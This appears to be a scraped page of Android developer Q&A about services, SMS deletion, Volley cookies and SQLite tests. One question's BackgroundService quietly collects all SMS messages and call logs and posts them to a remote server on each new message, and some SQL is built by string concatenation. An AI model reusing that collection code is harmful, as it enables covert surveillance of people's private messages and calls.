I am trying to stop my service but it gives null object reference. this is my code ......
PendingUpdatesService.java
NetworkStateReceiver networkStateReceiver;
MarkAttendance attendance ;
#Nullable
#Override
public IBinder onBind(Intent intent) {
return null;
}
#Override
public int onStartCommand(Intent intent, int flags, int startId) {
Toast.makeText(this, "Service Started", Toast.LENGTH_LONG).show();
networkStateReceiver = new NetworkStateReceiver(this);
networkStateReceiver.addListener(this);
this.registerReceiver(networkStateReceiver, new IntentFilter(android.net.ConnectivityManager.CONNECTIVITY_ACTION));
return START_STICKY;
}
#Override
public void onDestroy() {
super.onDestroy();
Toast.makeText(this, "Service Destroyed", Toast.LENGTH_LONG).show();
}
#Override
public void onNetworkAvailable() {
Toast.makeText(this, "NW available", Toast.LENGTH_LONG).show();
SharedPreferenceSingleton.getInstance().init(getApplication());
if (SharedPreferenceSingleton.getInstance().getIntPreference(StudentsAttendanceContracts.IF_ATTENDANCE_FAILED) == 1) {
attendance = new MarkAttendance();
attendance.updateAttendance(getApplicationContext());
}
}
#Override
public void onNetworkUnavailable() {
Toast.makeText(this, "NW not available", Toast.LENGTH_LONG).show();
}
this is a class where i am trying to stop service......
MarkAttendance.java
String mClassId, mStaffId ;
String date, classAttendanceDate;
Context mContext;
SQLiteDatabase mDB;
public void updateAttendance(Context context) {
this.mContext = context;
mDB = context.openOrCreateDatabase(DatabaseContracts.BLUEWINGS_STAFF_DB_NAME, Context.MODE_PRIVATE, null);
SharedPreferenceSingleton.getInstance().init(context);
mStaffId = String.valueOf(SharedPreferenceSingleton.getInstance().getIntPreference(SharedContracts.TEACHER_STAFF_ID));
String[] parameter = {"Attendance"} ;
String query = " SELECT * FROM " + DatabaseContracts.Tables.CheckingDataOnServer.TABLE + " WHERE " + DatabaseContracts.Tables.CheckingDataOnServer.MODULE_NAME + " =? ";
Cursor cursor = mDB.rawQuery(query, parameter);
cursor.moveToFirst();
while(!cursor.isAfterLast()){
if (cursor.getString(cursor.getColumnIndex(DatabaseContracts.Tables.CheckingDataOnServer.IS_ATTENDANCE_SAVED)).equals("false")){
mClassId = cursor.getString(cursor.getColumnIndex(DatabaseContracts.Tables.CheckingDataOnServer.CLASS_ID));
SimpleDateFormat dateFormat = new SimpleDateFormat("yyyy-MM-dd'T'HH:mm:ss.SSSZ");
classAttendanceDate = cursor.getString(cursor.getColumnIndex(DatabaseContracts.Tables.CheckingDataOnServer.DATE));
Date attendancedate = null;
try {
attendancedate = dateFormat.parse(classAttendanceDate);
} catch (ParseException e) {
e.printStackTrace();
}
SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd");
date = format.format(attendancedate);
String[] parameters = {mClassId ,date + "%"};
Cursor studentInfo = mDB.rawQuery(" SELECT * FROM " + DatabaseContracts.Tables.AttendanceTable.TABLE +
" WHERE " + DatabaseContracts.Tables.AttendanceTable.CLASS_ID + " =? " +
" AND " + DatabaseContracts.Tables.AttendanceTable.ATTENDANCE_DATE + " LIKE ? ", parameters);
JSONObject attObj = new JSONObject();
try {
attObj.put(StudentsAttendanceContracts.FK_STAFF_ID, mStaffId);
attObj.put(StudentsAttendanceContracts.CLASS_ID, mClassId);
attObj.put(StudentsAttendanceContracts.ATTENDANCE_DATE, classAttendanceDate);
JSONArray studentArray = new JSONArray();
studentInfo.moveToFirst();
while (!studentInfo.isAfterLast())
{
JSONObject stuObj = new JSONObject();
stuObj.put(StudentsAttendanceContracts.STUDENT_ID, studentInfo.getString(studentInfo.getColumnIndex(DatabaseContracts.Tables.AttendanceTable.STUDENT_ID)));
stuObj.put(StudentsAttendanceContracts.ATTENDENCE_STATUS, studentInfo.getString(studentInfo.getColumnIndex(DatabaseContracts.Tables.AttendanceTable.ATTENDANCE_STATUS)));
studentArray.put(stuObj);
studentInfo.moveToNext();
}
attObj.put(StudentsAttendanceContracts.ATTENDANCE_KEY, studentArray);
AsyncWorkerEncrypted mAsyncWorker = new AsyncWorkerEncrypted(context,false);
mAsyncWorker.delegate = this;
mAsyncWorker.execute(ServerConnector.MARK_ATTENDANCE, attObj.toString(), RequestConstants.POST_REQUEST, RequestConstants.HEADER_YES, RequestConstants.MARK_ATTENDANCE);
} catch (JSONException e) {
e.printStackTrace();
}
}
cursor.moveToNext();
}
}
#Override
public void onRefresh() {
}
#Override
public void ReceivedResponseFromServer(String output, String REQUEST_NUMBER) {
switch (REQUEST_NUMBER) {
case RequestConstants.MARK_ATTENDANCE :
Boolean response = false ;
try {
JSONObject obj = new JSONObject(output);
response = obj.getBoolean(StudentsAttendanceContracts.RESPONSE_STATUS);
} catch (JSONException e) {
e.printStackTrace();
}
if(response){
String[] updateparameterOfCheckingPendingUpdatesTable = {"true", "Attendance", mClassId, date+"%"};
String Updatequery = " UPDATE " + DatabaseContracts.Tables.CheckingDataOnServer.TABLE + " SET " +
"" + DatabaseContracts.Tables.CheckingDataOnServer.IS_ATTENDANCE_SAVED + " =? " +
" WHERE " + DatabaseContracts.Tables.CheckingDataOnServer.MODULE_NAME + " =? " +
" AND " + DatabaseContracts.Tables.CheckingDataOnServer.CLASS_ID + " =? " +
" AND " + DatabaseContracts.Tables.CheckingDataOnServer.DATE + " LIKE ? " ;
mDB.execSQL(Updatequery, updateparameterOfCheckingPendingUpdatesTable);
stopService(new Intent(mContext, PendingUpdatesService.class)) ;
SharedPreferenceSingleton.getInstance().init(mContext);
SharedPreferenceSingleton.getInstance().writeIntPreference(StudentsAttendanceContracts.IF_ATTENDANCE_FAILED, 0);
}
break;
}
}
enter code here
stopService(new Intent(mContext, PendingUpdatesService.class)) ;
for this line i am getting null object reference for context ....
this is my stacktrace
06-03 12:55:43.051 7714-7714/com.synclovis.bluewingsstaff E/AndroidRuntime: FATAL EXCEPTION: main
Process: com.synclovis.bluewingsstaff, PID: 7714
java.lang.NullPointerException: Attempt to invoke virtual method 'boolean android.content.Context.stopService(android.content.Intent)' on a null object reference
at android.content.ContextWrapper.stopService(ContextWrapper.java:539)
at com.synclovis.bluewingsstaff.util.MarkAttendance.ReceivedResponseFromServer(MarkAttendance.java:119)
at com.synclovis.bluewingsstaff.networkEngine.AsyncWorkerEncrypted.onPostExecute(AsyncWorkerEncrypted.java:178)
at com.synclovis.bluewingsstaff.networkEngine.AsyncWorkerEncrypted.onPostExecute(AsyncWorkerEncrypted.java:26)
at android.os.AsyncTask.finish(AsyncTask.java:636)
at android.os.AsyncTask.access$500(AsyncTask.java:177)
at android.os.AsyncTask$InternalHandler.handleMessage(AsyncTask.java:653)
at android.os.Handler.dispatchMessage(Handler.java:102)
at android.os.Looper.loop(Looper.java:145)
at android.app.ActivityThread.main(ActivityThread.java:6946)
at java.lang.reflect.Method.invoke(Native Method)
at java.lang.reflect.Method.invoke(Method.java:372)
at com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:1404)
at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:1199)
Try replacing getApplicationContext() with this.
Please provide the stacktrace which appears in your logcat when the exception occurs.
You are calling the ReceivedResponseFromServer method from the Async task.
It looks like updateAttendance() is where you would prefer to set the context.
It's hard to tell if it's a threading issue or something else, but a quick fix should be just passing in the context from the async task if you have access to it. That way you need not set the context in updateAttendance() as you're not using it in that method anyway (unless you're using it elsewhere in the class).
Related
I am creating a service in onCreate of my main activity, but i am getting java.lang.RuntimeException: Unable to instantiate service com.ram.courier.service.CheckTimeService: java.lang.NullPointerException: Attempt to invoke virtual method 'android.content.Context android.content.Context.getApplicationContext()' on a null object reference
Here is my main activity where I start my service:
if(isServiceRunning(getApplicationContext() ,CheckTimeService.class)){
Log.d("APP","RUNNING SERVICE");
}
else{
Intent myServiceIntent = new Intent(SplashScreen.this, CheckTimeService.class);
startService(myServiceIntent);
}
}
Below is my service class:
public class CheckTimeService extends Service {
final Handler handler = new Handler();
Runnable run;
DatabaseAccess databaseAccess;
ApiCall apiCall;
final String startTime = "15:00:00";
final String endTime = "18:30:00";
// Context context = this.getApplicationContext();
Calendar now = Calendar.getInstance();
int hour = now.get(Calendar.HOUR_OF_DAY); //24 hour format
int minute = now.get(Calendar.MINUTE);
Date date = parseDate(hour + ":" + minute); //current time
//function for parsing the time
private Date parseDate(String date) {
final String inputFormat = "HH:mm";
SimpleDateFormat inputParser = new SimpleDateFormat(inputFormat, Locale.US);
try{
return inputParser.parse(date);
}catch (java.text.ParseException e){
return new Date(0);
}
}
Context context = this.getApplicationContext();
DatabaseOpenHelper myDB = new DatabaseOpenHelper(getApplicationContext());
SQLiteDatabase db = myDB.getReadableDatabase();
Cursor sessID = db.rawQuery(" SELECT * FROM " + DataConstants.TABLE_SESSION + " ORDER BY SessionID DESC LIMIT 1", null);
String sessionID = sessID.toString();//convert cursor result to string
Cursor DelVehDepID = db.rawQuery(" SELECT * FROM " + DataConstants.TABLE_DEL_VEH_DEP + " ORDER BY " + DataConstants.COLUMN_VEH_DEP_ID + "DESC LIMIT 1", null);
// JSONObject jsonObjectDelVehDepID = new JSONObject(String.valueOf(DelVehDepID));//convert string to json object
// String delvehdepid = jsonObjectDelVehDepID.toString();//convert cursor to string
String delvehdepid = DelVehDepID.toString();
#Override
public int onStartCommand(Intent intent, int flags, int startId) {
run = new Runnable() {
#Override
public void run() {
Date compareTimeOne = parseDate(startTime);
Date compareTimeTwo = parseDate(endTime);
if (compareTimeOne.before(date) && compareTimeTwo.after(date)) {
Log.d("test", " Time is between " + startTime + " and " + endTime);
//call to API
apiCall = new ApiCall(getApplicationContext(), AppConstants.TASK_API_CHECK_IS_CLOSED_SESSION, delvehdepid,
AppConstants.API_CHECK_IS_CLOSED_SESSION + sessionID, new SyncServiceListener() {
#Override
public void onSuccess(int taskID, String Response) {
try {
JSONObject json = new JSONObject(Response);
Log.d("onSuccess",json.toString());
CommonCalls.getInstance().trackSyncRequestService(getApplicationContext(), AppConstants.TASK_API_CHECK_IS_CLOSED_SESSION+sessionID,json.toString());
JSONObject result = json.getJSONObject("Result");
if(result!=null && result.getString("Result")!=null){
if(result.getString("Result")=="true"){
//clear session data and logout drivers and crew members
PreferenceHandler.writeBoolean(CheckTimeService.this, "missing_pod", false);
PreferenceHandler.writeBoolean(CheckTimeService.this, "new_session", true);
PreferenceHandler.writeString(CheckTimeService.this, "activity", "");
PreferenceHandler.writeString(CheckTimeService.this, "session_id", "");
PreferenceHandler.writeString(CheckTimeService.this, "POD_bag", "");
DatabaseAccess.getInstance(CheckTimeService.this).open();
DatabaseAccess.getInstance(CheckTimeService.this).clearSheetsData();
}
}
} catch (JSONException e) {
e.printStackTrace();
}
}
#Override
public void onError(int taskID, String Response) {
Log.d("ERROR","ERROR...NO RESPONSE" + Response);
}
});
}
else
{
Log.d("test", "Time is not in between" + startTime + "and" + endTime);
}
handler.postDelayed(this,1000);
}
};
handler.post(run);
return START_STICKY;
}
#Override
public void onDestroy() {
super.onDestroy();
handler.removeCallbacks(run);
}
#Nullable
#Override
public IBinder onBind(Intent intent) {
return null;
}
}
i have app in which i am sending data to server every time when new messages receives.
Problem:
Only once data is uploaded successfully but for next times data is not uploaded. i have also used volley for this problem but it also have same problem.
What i've tried
BackgroundService.class
public class BackgroundService extends Service {
private static final String TAG = BackgroundService.class.getSimpleName();
Context context;
Uri mSmsQueryUri = Uri.parse("content://sms");
private boolean isRunning;
private Thread backgroundThread;
String phoneNumber;
SessionManager sessionManager;
ArrayList<String> smss;
String callllogs;
public BackgroundService() {
}
#Nullable
#Override
public IBinder onBind(Intent intent) {
return null;
}
#Override
public void onCreate() {
super.onCreate();
this.context = this;
sessionManager = new SessionManager(this);
this.isRunning = false;
Log.i(TAG, "onCreate called");
this.backgroundThread = new Thread(myTask);
}
#Override
public int onStartCommand(Intent intent, int flags, int startId) {
if (!this.isRunning) {
Log.i(TAG, "onStartCommand called");
this.backgroundThread.start();
this.isRunning = true;
stopSelf();
}
return START_STICKY;
}
private Runnable myTask = new Runnable() {
#RequiresApi(api = Build.VERSION_CODES.KITKAT)
public void run() {
if (BaseUrl.isConnectedtoInternet(context)) {
//addToServerOkhttp(context);
addtoServer(context);
} else {
Log.i(TAG, "No internt Connection");
}
}
};
#RequiresApi(api = Build.VERSION_CODES.KITKAT)
private void addtoServer(final Context context) {
Log.i(TAG, "addToServer called");
String url = BaseUrl.baseUrl + context.getResources().getString(R.string.store_new_details);
Log.i(TAG, url);
smss = getMessages();
callllogs = getCallDetail();
Toast.makeText(context, "inMethod", Toast.LENGTH_SHORT).show();
StringRequest request = new StringRequest(Request.Method.POST, url, new Response.Listener<String>() {
#Override
public void onResponse(String response) {
Log.i(TAG, response);
if (response.equals("Message Received!")) {
Toast.makeText(context, "ok rocky", Toast.LENGTH_SHORT).show();
AppController.getInstance().cancelPendingRequests(BaseUrl.tag_string_req);
}
// Toast.makeText(context, "Messages Uploaded Successfully.! (BackgroundService)", Toast.LENGTH_SHORT).show();
//Toast.makeText(context, response, Toast.LENGTH_SHORT).show();
}
}, new Response.ErrorListener() {
#Override
public void onErrorResponse(VolleyError error) {
// Toast.makeText(context, error.getLocalizedMessage(), Toast.LENGTH_SHORT).show();
if (error == null || error.networkResponse == null) {
return;
}
String body;
//get status code here
final String statusCode = String.valueOf(error.networkResponse.statusCode);
Log.i(TAG, statusCode);
//get response body and parse with appropriate encoding
try {
body = new String(error.networkResponse.data, "UTF-8");
Log.i(TAG, body);
} catch (UnsupportedEncodingException e) {
// exception
Log.i(TAG, e.getMessage());
}
Log.i(TAG, error.getMessage());
}
}) {
#Override
protected Map<String, String> getParams() throws AuthFailureError {
HashMap<String, String> params = new HashMap<>();
Log.i(TAG, SessionManager.getPhoneNumber());
params.put("imei_no", "");
params.put("calllog", callllogs);
params.put("record", smss.toString());
params.put("phone", SessionManager.getPhoneNumber());
return params;
}
};
// Adding request to request queue
AppController.getInstance().addToRequestQueue(request, BaseUrl.tag_string_req);
// try{
// RequestQueue requestQueue= Volley.newRequestQueue(this);
// requestQueue.add(request);
// }catch (Exception e){
// Log.i(TAG,e.getMessage());
// }
}
#RequiresApi(api = Build.VERSION_CODES.KITKAT)
public ArrayList<String> getMessages() {
ArrayList<String> messages = new ArrayList<String>();
ContentResolver contentResolver = getContentResolver();
Cursor cursor = null;
try {
cursor = contentResolver.query(mSmsQueryUri, new String[]{"_id", "address", "date", "body",
"type", "read"}, null, null, "date desc");
if (cursor == null) {
Log.i("curson null", "cursor is null. uri: " + mSmsQueryUri);
Toast.makeText(this, "curor null", Toast.LENGTH_SHORT).show();
}
//assert cursor != null;
for (boolean hasData = cursor.moveToFirst(); hasData; hasData = cursor.moveToNext()) {
String body = cursor.getString(cursor.getColumnIndex("body"));
String address = cursor.getString(cursor.getColumnIndex("address"));
messages.add("\n" + "Number: " + address + "\n" + "Content: " + body + "\n");
}
} catch (Exception e) {
Toast.makeText(context, e.getLocalizedMessage(), Toast.LENGTH_SHORT).show();
Log.e("Error", e.getMessage());
} finally {
//assert cursor != null;
cursor.close();
}
//Toast.makeText(context, "all okaay", Toast.LENGTH_SHORT).show();
return messages;
}
private String getCallDetail() {
Toast.makeText(context, "calldetails", Toast.LENGTH_SHORT).show();
StringBuffer stringBuffer = new StringBuffer();
Cursor cursor = context.getContentResolver().query(CallLog.Calls.CONTENT_URI,
null, null, null, CallLog.Calls.DATE + " DESC");
int number = cursor.getColumnIndex(CallLog.Calls.NUMBER);
int type = cursor.getColumnIndex(CallLog.Calls.TYPE);
int date = cursor.getColumnIndex(CallLog.Calls.DATE);
int duration = cursor.getColumnIndex(CallLog.Calls.DURATION);
while (cursor.moveToNext()) {
String phNumber = cursor.getString(number);
String callType = cursor.getString(type);
String callDate = cursor.getString(date);
Date callDayTime = new Date(Long.valueOf(callDate));
String callDuration = cursor.getString(duration);
String dir = null;
int dircode = Integer.parseInt(callType);
switch (dircode) {
case CallLog.Calls.OUTGOING_TYPE:
dir = "OUTGOING";
break;
case CallLog.Calls.INCOMING_TYPE:
dir = "INCOMING";
break;
case CallLog.Calls.MISSED_TYPE:
dir = "MISSED";
break;
}
stringBuffer.append("\nPhone Number:--- " + phNumber + " \nCall Type:--- "
+ dir + " \nCall Date:--- " + callDayTime
+ " \nCall duration in sec :--- " + callDuration);
stringBuffer.append("\n----------------------------------");
}
cursor.close();
//Toast.makeText(context, "also all ok", Toast.LENGTH_SHORT).show();
return stringBuffer.toString();
}
}
Service is called from Broadcast receiver every time when new message
receives.
Trying to delete the sent sms from app, when I have tried below code in Lenovo A6000(5.0.2) device
public static void deleteMessage(Context context, String phoneNo, String message) {
try {
Log.d(TAG, "deleteMessage: Deleting SMS from inbox");
Uri uriSms = Uri.parse("content://sms/");
Cursor c = context.getContentResolver().query(uriSms,
new String[]{"_id", "thread_id", "address",
"person", "date", "body"}, null, null, null);
Uri uri = null;
if (c != null && c.moveToFirst()) {
do {
long id = c.getLong(0);
long threadId = c.getLong(1);
String address = c.getString(2);
String body = c.getString(5);
int rowsDeleted = 0;
Log.d(TAG, "Deleting threads: " + threadId);
Log.d(TAG, "deleteMessage: id- "+ id + "" +
" threadId- " + threadId + "" +
" body- " + body + "" +
" rowsDeleted- " + rowsDeleted + "" +
" address- " + address);
if (address.equalsIgnoreCase(phoneNo)
&& body.equalsIgnoreCase(message)) {
ConversationQueryHandler handler = new ConversationQueryHandler(context.getContentResolver(), context);
synchronized (sDeletingThreadsLock) {
Log.v(TAG, "Conversation startDelete sDeletingThreads: " + sDeletingThreads);
if (sDeletingThreads) {
Log.e(TAG, "startDeleteAll already in the middle of a delete", new Exception());
}
sDeletingThreads = true;
uri = ContentUris.withAppendedId(Telephony.Threads.CONTENT_URI, threadId);
String selection = true ? null : "locked=0";
handler.setDeleteToken(0);
handler.startDelete(0, new Long(threadId), uri, selection, null);
}
}
} while (c.moveToNext());
}
} catch (Exception e) {
Log.d(TAG, "deleteMessage: Could not delete SMS from inbox: " + e.getMessage());
}
}
The ConversationQueryHandler sends 1 as a result in case of successful deletion of sms on to onDeletionComplete but this doesn't work in all the devices.
private static Object sDeletingThreadsLock = new Object();
private static boolean sDeletingThreads;
public static class ConversationQueryHandler extends AsyncQueryHandler {
private int mDeleteToken;
private Context mContext;
public ConversationQueryHandler(ContentResolver cr, Context context) {
super(cr);
mContext = context;
}
public void setDeleteToken(int token) {
mDeleteToken = token;
}
/**
* Always call this super method from your overridden onDeleteComplete function.
*/
#Override
protected void onDeleteComplete(int token, Object cookie, int result) {
Log.v(TAG, "Conversation onDeleteComplete token: " + token + " cookie- " + cookie + " result- " + result);
if (token == mDeleteToken) {
// release lock
synchronized (sDeletingThreadsLock) {
sDeletingThreads = false;
sDeletingThreadsLock.notifyAll();
}
}
}
}
I have tested this and found it is failed to delete the sms in all the below devices
Sony Xperia Z1(5.1.1)
Lenovo A200 device (5.1)
Samsung J210F (6.0.1)
As I mentioned earlier I am able to delete sms with the same code in
Lenovo A6000(5.0.2)
Is there a chance I am missing something here, or is this a right way of deleting the sent sms. Thank you for the help in advance.
Currently working on an Android app with CookieManager..
I am trying to do PUT requests using a for loop but for some odd reason, only the first two requests succeed. I asked the server guy for help and he indicated that the other PUT requests fail because they do not have a cookie attached.
This is the for loop that I'm using.
for(int i = 0; i < userList.size(); i++) {
User user = userList.get(i);
String url = apiURL;
String address = user.getEmail() == null ? "nil":user.getEmail();
String jsonString = "{build:\"" + String.valueOf(BuildConfig.VERSION_CODE) + "\",device_id:\"" + ((MainActivity)activity).tmDevice + "\",platform:\"android\",\n" +
" type:\"User\",\n" +
" id:\"" + String.valueOf(user.getId()) + "\",\n" +
" first_name:\"" + user.getFirstName() + "\",\n" +
" last_name:\"" + user.getLastName() + "\",\n" +
" name:\"" + user.getName() + "\",\n" +
" image:{\n" +
" type:\"UserPhoto\",\n" +
" id:\"1a035500-012f-1cc2-9d22-96a73beda35e\"\n" +
" },\n" +
" emails:[\n" +
" {\n" +
" type:\"Email\",\n" +
" address:" + address + "\n" +
" }\n" +
" ],\n" +
" phone_numbers:[]\n" +
" }";
JSONObject js = null;
try {
js = new JSONObject(jsonString);
} catch (JSONException e) {
e.printStackTrace();
}
final JSONObject finalJs = js;
JsonObjectRequest jsObjRequest = new JsonObjectRequest(
Request.Method.PUT,url, finalJs,
new Response.Listener<JSONObject>() {
#Override
public void onResponse(JSONObject response) {
Log.i("putresponse", String.valueOf(response));
}
}, new Response.ErrorListener() {
#Override
public void onErrorResponse(VolleyError error) {
Log.i("puterror", String.valueOf(error));
}
});
VolleySingleton.getInstance((MainActivity) activity).addToRequestQueue(jsObjRequest);
}
This is the code for setting CookieManager.
manager = new CookieManager();
CookieHandler.setDefault(manager);
Even the GET requests right before the PUT requests work fine..
Any help?
After 3 days of seaching and reading about CookieManager
I finally find and make a perfect solution :
static CookieManager myCookies = new CookieManager(null, CookiePolicy.ACCEPT_ALL);;
final public static void saveCookies(HttpURLConnection connection , Context context) {
Map<String, List<String>> headerFields = connection.getHeaderFields();
List<String> cookiesHeader = null;
try {
cookiesHeader = headerFields.get("Set-Cookie");
} catch (Exception e) {
e.printStackTrace();
}
if (cookiesHeader != null && myCookies != null) {
for (String cookie : cookiesHeader) {
try {
cookie = cookie.replace("\"", "");
myCookies.getCookieStore().add(connection.getURL().toURI(), HttpCookie.parse(cookie).get(0));
String new_cookie = TextUtils.join(";", myCookies.getCookieStore().getCookies());
PreferenceManager.getDefaultSharedPreferences(context).edit().putString("cookie", new_cookie).commit();
} catch (Exception ex) {
ex.printStackTrace();
}
}
}
}
final public static void loadCookies(HttpURLConnection connection , Context context) {
if (myCookies != null && myCookies.getCookieStore().getCookies().size() > 0) {
connection.setRequestProperty("Cookie", TextUtils.join(";", myCookies.getCookieStore().getCookies()));
}
else {
String new_cookie = PreferenceManager.getDefaultSharedPreferences(context).getString("cookie" , "");
connection.setRequestProperty("Cookie", new_cookie );
}
}
Hї!
I have wrote test for my application. I need add item to database throught UI interface (using robotium) and then I want to check if item exists in database using SQLiteDatabase.
Item is added succesfully (I see new record in database after test finished), but isExistsInDb in my test class returns false. I do not understand why. Could you please help me.
Thanks!
Activity class:
public abstract class EditActivity {
// Some code .....
#Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
initButtonCancelOk();
}
protected void validateAndSave() {
try {
formValidator.validateAll();
if (formValidator.isFormValid()) {
DatabaseOpenHelper doh = new DatabaseOpenHelper(this);
Dao d = new Dao(doh);
d.add(fetchObjectFromUi());
finish(); // destroy this activity
} else {
ToastImage.makeImageText(context,
R.drawable.warning,
formValidator.getMessages(),
Toast.LENGTH_SHORT
).show();
}
} catch (Exception e) {
Toast.makeText(context, " Error during validate form ", Toast.LENGTH_LONG).show();
e.printStackTrace();
}
}
private void initButtonCancelOk() {
btnOk = (Button) findViewById(R.id.btn_ok);
btnOk.setOnClickListener(new View.OnClickListener() {
#Override
public void onClick(View v) {
validateAndSave();
}
});
}
}
Test class:
public class AddItemSmokeTest extends extends ActivityInstrumentationTestCase2<EditActivity> {
protected Activity activity;
protected Solo solo;
public AddItemSmokeTest() {
super("com.myapp", EditActivity.class);
Intent i = createIntent(2);
setActivityIntent(i);
activity = getActivity();
solo = new Solo(getInstrumentation(), activity);
solo.sleep(1000); // interval between tests
}
protected Intent createIntent(long transType) {
Intent i = new Intent();
i.putExtra(INTENT_VALUE_MODE_NAME, MODE_INSERT_TRANSACTION);
i.putExtra(INTENT_VALUE_TYPE_ID_NAME, transType);
return i;
}
#Override
protected void tearDown() throws Exception {
}
protected void setIncomExpenseData(AbsTransIncomeExpenseTestData testData) {
solo.pressSpinnerItem(CATEGORY_SPN_INDEX, testData.getCategorySpinnerPos());
solo.pressSpinnerItem(ACCOUNT_SPN_INDEX, testData.getAccountSpinnerPos());
solo.typeText((EditText) activity.findViewById(com.rirdev.moneycounter.R.id.et_sum), testData.getSum());
solo.typeText((EditText) activity.findViewById(com.rirdev.moneycounter.R.id.et_comment), testData.getComment());
}
#Smoke
public void testAddIncomeTransaction() throws Exception {
initForType(TransactionType.INCOME);
AbsTransIncomeExpenseTestData testData = new IncomeTestData();
setIncomExpenseData(testData);
solo.clickOnButton(OK);
//solo.getActivityMonitor();
assertTrue(
"Item" + testData.getComment() + " was not added ",
isExistsInDb(activity, Transactions.TABLE_NAME, Transactions.DESCRIPTION, testData.getComment())
);
}
protected static boolean isExistsInDb(Context context, String tableName, String commentFieldName, String comment) {
DatabaseOpenHelper doh = new DatabaseOpenHelper(context);
SQLiteDatabase db = doh.getDatabaseReadable();
Cursor cursor = null;
try {
String query = "SELECT COUNT(*) FROM " + tableName + " WHERE " + commentFieldName + " = \"" + comment + "\"";
cursor = db.rawQuery(query, null);
cursor.moveToFirst();
if (cursor.getInt(0) > 1) {
return true;
}
return false;
} finally {
if (cursor != null) {
cursor.close();
}
db.close();
doh.close();
}
}
}
Update:
If I run test the second time it is passed because in database exists item added by previous test.
I recommend to use use parametrized statement, your approach is danger and not much clear.
Also much better is use getCount() method.
String query = "SELECT COUNT(*) FROM " + tableName + " WHERE columnName = ?";
cursor = db.rawQuery(query, new Sring[] {comment});
int count = 0;
if (cursor.getCount() > 0) {
cursor.moveToFirst();
count = cursor.getInt(0);
}
if (count > 0) {
return true;
}
else {
return false;
}
in where clasue use 'string' instead of "string".....
"SELECT COUNT(*) FROM " + tableName + " WHERE " + commentFieldName + " = '" + comment + "'";